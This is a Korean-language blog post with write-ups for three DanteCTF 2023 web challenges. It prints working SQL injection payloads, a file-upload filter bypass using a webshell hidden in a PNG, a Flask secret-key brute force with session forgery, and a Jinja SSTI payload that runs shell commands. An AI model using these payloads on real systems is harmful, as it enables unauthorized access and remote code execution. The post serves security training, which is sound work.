DanteCTF 2023 Writeups

sani·2023년 6월 7일
0

WRITEUPS

목록 보기
5/5
post-thumbnail

Dante Barber Shop

문제설명 :

Welcome to our renowned barber shop! 
Your task, should you choose to accept it, is to uncover hidden information 
and retrieve the sensitive data that the owners may have left around.

숨겨진 정보를 찾고, 민감한 정보를 복구하면 된다.

사진이 불편하게 2~7까지만 존재한다.

정말 혹시나 하는 마음에 img/barber1.jpg 로 가보았다.

…..

해당 정보로 로그인을 하게되면, 목록을 보여주는 게시판이 존재한다.

싱글 쿼터를 입력했을때, SQLite 에러문이 뜨는것을 보아 SQLI 공격이 가능함을 알 수 있다.

  1. 데이터베이스, 퀄럼 명 알아내기

' and 1=0 union select 1,2,sql,4 from sqlite_master --

  1. username, password 알아내기

' and 1=0 union select 1,2,username,password from users --

admin의 계정 정보를 알아낼 수 있었고, 해당 계정 정보로 로그인하게되면 FLAG를 얻을 수 있다.

Dumb Admin

우선 기능을 사용하기 위해서는 로그인을 해야한다.

username 부분에 SQLI 가 가능하고, password 부분은 [0-9a-zA-Z]의 6자리 이상이 있어야 한다.

username=' or 1=1 -- &password=aaaaaaa

로그인 하게 되면 아래와 같이 파일을 업로드 가능한데, 2가지 필터링을 거친다.

  1. 확장자 검사
  2. 파일 내용 검사

1번은 .png.php 와 같은식으로 처음 확장자만 검사하는것 같아 우회했고,

2번은 png 파일 내용속 웹쉘 내용을 삽입하여 우회하였다.

CryptoMarket

run.py

if session and "authorized" in session and session['authorized'] == True:
        if request.method == "POST":
            username = request.form["username"]
            password = request.form["password"]

            if len(password) < 8:
                return jsonify({"error":"Password must have at least 8 chars"})

            registerResult = conn.registerUser(username, password, cursor)

            if not registerResult:
                return jsonify({"error":"Account registration was not succesfull"})

            resp = make_response(redirect('/'))
            resp.set_cookie('identifier', registerResult)

            return resp

        return render_template('register.html')

    return jsonify({"error":"We're developing the site. Registrations are not allowed yet."})

로그인을 하기 위해서는 먼저 회원가입을 해야하는데, session을 이용해 authorized 값이 true 인 경우만 허용하고 있다.

if __name__ == "__main__":
    app.secret_key = secrets.token_hex(16)
    serve(app, host='0.0.0.0', port=1999)

def token_hex(value):
    alphabet = 'abcdef0123456789'
    return ''.join(choice(alphabet) for _ in range(5))

하지만 세션을 만들때 사용되는 secret_key 생성 방식을 보면,

'abcdef0123456789' 에서 무작위 5개를 골라 생성하는것을 알 수 있다.

secret_key를 안다면 세션을 변조하여 사용가능하다.

유용한 도구인 flask_unsign 을 사용하자.

  • 분석 세션값은 /refreshTime 에서 얻을 수 있다.
@app.route('/refreshTime', methods=['HEAD'])
def refresh():
    if "time" not in session:
        session['time'] = time.time()
    return redirect('/')
# pip install flask-unsign

f = open("list.txt", "a")

for i in range(1048576):
    hex_value = format(i, '05x')
    f.write(hex_value + "\n")
    # print(hex_value)

f.close()

# flask-unsign --unsign --cookie "eyJ0aW1lIjoxNjg1NzIyNTI5Ljc1OTkwNX0.ZHoVoQ.S-zRBKXJ9CvH8jhjqtZ-5jffwbk" --wordlist ./list.txt --no-literal-eval 

# root@DESKTOP-6HK4HQC:/CTF# flask-unsign --unsign --cookie "eyJ0aW1lIjoxNjg1NzIyNTI5Ljc1OTkwNX0.ZHoVoQ.S-zRBKXJ9CvH8jhjqtZ-5jffwbk" --wordlist ./list.txt --no-literal-eval 
# [*] Session decodes to: {'time': 1685722529.759905}
# [*] Starting brute-forcer with 8 threads..
# [+] Found secret key after 908288 attempts
# b'ddb93'

# root@DESKTOP-6HK4HQC:/CTF# flask-unsign --sign --cookie "{'authorized': True}" --secret 'ddb93'
# eyJhdXRob3JpemVkIjp0cnVlfQ.ZHoWLw.ZST1IV5DoYMC_vhyyAVcbmj8qic

이제 위의 세션값을 이용하면 회원가입이 가능하다.

flag 값은 /flag.txt 에 저장되어 있어 RCE 가 필요하다.

from flask import render_template_string

def __openTemplate(template):
    with open('./templates/'+template, "r") as f:
        return f.read()

def render_template(template, **kwargs):
    temp = __openTemplate(template).format(**kwargs)
    return render_template_string(temp, **kwargs)

run.py 에서 render_template 을 할때 위의 커스텀된 render_template 를 사용하는것을 알 수 있다.

위의 함수는 템플릿을 열어 작성한 후, render_template_string 으로 템플릿을 불러오기 때문에 ssti 취약점이 발생한다.

따라서 우리가 입력 가능한 유저 이름에 ssti payload를 삽입하면 RCE 가 가능하다.

username : {{self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag.txt').read()}}

이제 물품을 추가한 후, 자신의 물품 목록을 보게 되면, username이 불러와지면서 ssti가 발생한다.

profile
창원대학교 보안동아리 CASPER

0개의 댓글